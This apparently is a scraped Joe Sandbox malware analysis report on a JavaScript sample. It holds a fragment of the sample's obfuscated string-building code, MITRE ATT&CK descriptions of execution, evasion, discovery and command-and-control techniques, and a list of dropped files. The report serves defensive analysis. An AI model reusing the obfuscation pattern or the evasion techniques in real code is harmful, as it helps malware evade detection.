1391	niozag = "q";
1392	niozag = "D";
1393	niozag = "z";
1394	niozag = "g";
1395	niozag = "H";
1396	niozag = "u";
1397	niozag = "_";
1398	kojkim = "p";
1399	kojkim = "U";
1400	kojkim = "a";
1401	kojkim = "f";
1402	kojkim = "J";
1403	kojkim = "y";
1404	kojkim = "I";
1405	kojkim = "A";
1406	kojkim = "g";
1407	kojkim = "d";
1408	kojkim = "k";
1409	kojkim = "N";
1410	kojkim = "C";
1411	kojkim = "K";
1412	kojkim = "u";
1413	kojkim = "u";
1414	kojkim = "D";
1415	kojkim = "i";
1416	kojkim = "U";
1417	kojkim = "U";
1418	kojkim = "A";
1419	kojkim = "X";
1420	kojkim = "Z";
1421	kojkim = "c";
1422	kojkim = "I";
1423	kojkim = "N";
1424	kojkim = "T";
1425	kojkim = "j";
1426	kojkim = "q";
1427	kojkim = "v";
1428	kojkim = "K";
1429	kojkim = ":";
1430	lpbsv = "z";
1431	lpbsv = "o";
1432	lpbsv = "Q";
1433	lpbsv = "R";
1434	lpbsv = "M";
1435	lpbsv = "D";
1436	lpbsv = "v";
1437	lpbsv = "W";
1438	lpbsv = "f";
1439	lpbsv = "f";
1440	lpbsv = "Y";
1441	lpbsv = "g";
1442	lpbsv = "y";
1443	lpbsv = "t";
1444	lpbsv = "o";
1445	lpbsv = "M";
1446	lpbsv = "I";
1447	lpbsv = "e";
1448	lpbsv = "W";
1449	lpbsv = "K";
1450	lpbsv = "A";
1451	lpbsv = "h";
1452	lpbsv = "X";
1453	lpbsv = "X";
1454	lpbsv = "K";
1455	lpbsv = "o";
1456	lpbsv = "f";
1457	nypwkkffh ( );	nypwkkffh() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 247624346306918832.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\1cec16bd-5df3-4361-82e4-2b04c1b0682b.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8096

Windows Analysis Report
247624346306918832.js